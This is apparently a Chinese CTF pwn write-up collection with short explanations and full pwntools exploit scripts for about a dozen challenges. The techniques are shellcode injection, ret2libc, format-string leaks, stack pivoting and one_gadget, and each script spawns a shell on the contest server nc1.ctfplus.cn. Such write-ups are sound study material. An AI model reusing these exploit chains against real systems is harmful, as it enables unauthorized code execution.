ez_shellcode
简单的shellcode
from pwn import* context.arch='amd64' io=remote('nc1.ctfplus.cn',39373)
shellcode_addr=0x0401256 shellcode=asm(shellcraft.sh()) io.send(shellcode)
payload=cyclic(0x18+8)+p64(shellcode_addr) io.sendline(payload)
io.interactive()
|
你会栈溢出吗?
简单的64位栈溢出,注意堆栈平衡
from pwn import* io=remote('nc1.ctfplus.cn',23262)
ret=0x040057e
payload=cyclic(0xC+8)+p64(ret)+p64(0x400728) io.sendline(payload)
io.interactive()
|
买黑吗喽了么

一道菜单题,输入1进入购买,输入2查看余额,输入3写反馈。


不断进行购买至负数,然后余额就会变成非常大的正数,就能输入%p泄漏基址,接着进入反馈函数打ret2libc
from pwn import* context.arch='amd64' elf=ELF('./syscall') libc=ELF('./syscalllibc.so.6') io=remote('nc1.ctfplus.cn',35338)
for _ in range(9): io.sendlineafter(b"choice:",b"1") io.sendlineafter(b"choice:",b"1")
io.sendlineafter(b"choice:",b"1") io.sendlineafter(b"choice:",b"2")
io.sendlineafter(b"choice:",b"2") io.send(b"%p")
io.recvuntil(b"0x0x") base=int(io.recv(12),16)-0x4090 print(hex(base))
rdi=base+0x11f1 ret=base+0x101a puts_plt=base+elf.plt['puts'] puts_got=base+elf.got['puts']
io.sendlineafter(b"choice:",b"3") payload=cyclic(0x50+8)+p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(base+0x14BC) io.sendlineafter(b"feedback:",payload)
puts=u64(io.recvuntil('\x7f')[-6:].ljust(8,b'\x00')) print(hex(puts))
libc_base=puts-libc.sym['puts'] system=libc_base+libc.sym['system'] bin_sh=libc_base+next(libc.search('/bin/sh\x00'))
payload=cyclic(0x50+8)+p64(ret)+p64(rdi)+p64(bin_sh)+p64(system)+p64(0) io.sendline(payload)
io.interactive()
|
简单的签到
简答的计算,接收两个数并进行计算即可。
from pwn import* io=remote('nc1.ctfplus.cn',31333)
io.sendafter(b"challenge.",b"\n")
v2=int(io.recvuntil("*",drop=True)) v3=int(io.recvuntil("=",drop=True))
v4=v2*v3
io.sendline(str(v4))
io.interactive()
|
00000

输入的密码与程序随机生成的密码一致则获得flag,写脚本爆破即可。
from pwn import *
filename = './00000'
context(arch = 'amd64', log_level = 'debug', os = 'linux')
for i in range(256): io = remote('nc1.ctfplus.cn',26368) try: io.sendline(b'\x00') io.recvuntil('{', timeout = 0.3) io.interactive() except: continue finally: io.close()
|
over_flow??


存在一个函数,输入的filename会溢出一个字节可以修改open_fd

存在系统调用,修改open_fd的值为想要调用的系统调用号,比如修改为0x3b,进行execve(‘/bin/sh’,0,0),而filename作为第一个参数,因此可以输入/bin/sh
from pwn import* io=remote('nc1.ctfplus.cn',26196) io.sendline(b'2') payload=b'/bin/sh\x00'+b'\x3b' io.sendline(payload) io.interactive()
|
这里的空间有点小啊
打栈迁移。
from pwn import* context.arch='amd64' elf=ELF('./zhanqianyi') libc=ELF('./zhanqianyilibc.so.6') io=remote('nc1.ctfplus.cn',34571)
bss=0x0601530 read=0x040071C puts_plt=elf.plt['puts'] puts_got=elf.got['puts'] leave=0x0400738 rdi=0x0400853 ret=0x0400566
io.sendlineafter(b">>\n",b'1')
payload=b'a'*(0x30)+p64(bss)+p64(read) io.sendafter('something\n',payload)
payload=p64(bss+0x100)+p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(read)+b'/bin/sh\x00'+p64(bss-0x30)+p64(leave) io.send(payload) puts=u64(io.recv(6).ljust(8,b'\x00')) print(hex(puts)) libc_base=puts-libc.sym['puts'] system=libc_base+libc.sym['system'] bin_sh=bss-0x30+0x28
payload=p64(bss+0x50)+p64(ret)+p64(rdi)+p64(bin_sh)+p64(system)+p64(0)+p64(bss+0x100-0x30)+p64(leave) io.sendline(payload)
io.interactive()
|
Black_myth_Wukong
一道64位题目,开启了NX与PIE保护

这里可以泄漏libc(但具体的偏移是怎么弄出来的还没弄明白)。



当我们输入后会连续执行两个函数,这里存在类似栈迁移的东西。最后的echo_inner函数会将rbp的最后一位变为0,就有可能使得rbp变小,变小后就会执行one_gadget。
from pwn import* libc=ELF('./Black_myth_Wukonglibc.so.6') elf=ELF('./Black_myth_Wukong') #io=remote('nc1.ctfplus.cn',48844) io=process('./Black_myth_Wukong')
gdb.attach(io)
io.send(b'\n') io.sendline(b'19') io.recvuntil('it: ') libc_base=int(io.recv(12),16)-0x80b12 print(hex(libc_base))
io.sendline(b'256') one_gadget=libc_base+0x4f29e io.send(p64(one_gadget)*32)
io.interactive()
|
还是比较简单的,感觉还是自己的基础不够,还是得提高自己的基础知识
SU___
一道简单的ret2libc。
from pwn import* elf=ELF('./su') libc=ELF('./sulibc.so.6') io=remote('nc1.ctfplus.cn',45259)
puts_plt=elf.plt['puts'] puts_got=elf.got['puts'] addr=0x0400798 rdi=0x0400903 rsi_r15=0x0400901 ret=0x04005d6
io.sendline(b'1') payload=cyclic(0x80+8)+p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(addr) io.sendline(payload) puts=u64(io.recvuntil('\x7f')[-6:].ljust(8,b'\x00')) print(hex(puts))
libc_base=puts-libc.sym['puts'] system=libc_base+libc.sym['system'] bin_sh=libc_base+next(libc.search('/bin/sh'))
payload=cyclic(0x80+8)+p64(ret)+p64(rdi)+p64(bin_sh)+p64(system) io.sendline(payload)
io.interactive()
|
我的空调呢
from pwn import* elf=ELF('./air_conditioner') libc=ELF('./air_conditionerlibc.so.6') io=remote('nc1.ctfplus.cn',41776) #io=process('./air_conditioner')
io.sendline(b'5') io.sendline(b'0x0404018') puts=u64(io.recvuntil('\x7f')[-6:].ljust(8,b'\x00')) print(hex(puts))
libc_base=puts-libc.sym['puts'] system=libc_base+libc.sym['system'] printf=libc_base+libc.sym['printf']
io.sendlineafter(b'chioce>:',b'4') io.sendline(b'-4')
io.send(p64(0)+p64(printf)+p64(system))
io.sendlineafter(b'chioce>:',b'1') io.sendafter(b'name:',b'/bin/sh\x00') io.sendafter(b'Introduce:',b'a')
io.sendlineafter(b'chioce>:',b'3') io.sendline(b'0')
io.interactive()
|
真能走到后门吗
from pwn import* #io=remote('nc1.ctfplus.cn',37845) io=process('./fmt')
io.sendlineafter(b'your ID:',b'haoo') io.sendlineafter(b'name?',b'%13$p+%14$p') io.recvuntil('0x') canary=int(io.recv(16),16) print(hex(canary)) io.recvuntil('0x') rbp=int(io.recv(12),16) print(hex(rbp))
ret=rbp-0x18
gdb.attach(io)
io.send(p64(ret + 1) + b'A' * 0x30 + p64(canary) + p64(rbp)+ b'\xEC') sleep(0.1)
io.send(b'%18c%6$hhn') sleep(0.1) io.send(b'A' * 0x38 + p64(canary) + p64(rbp)+ b'\x82')
io.interactive()
|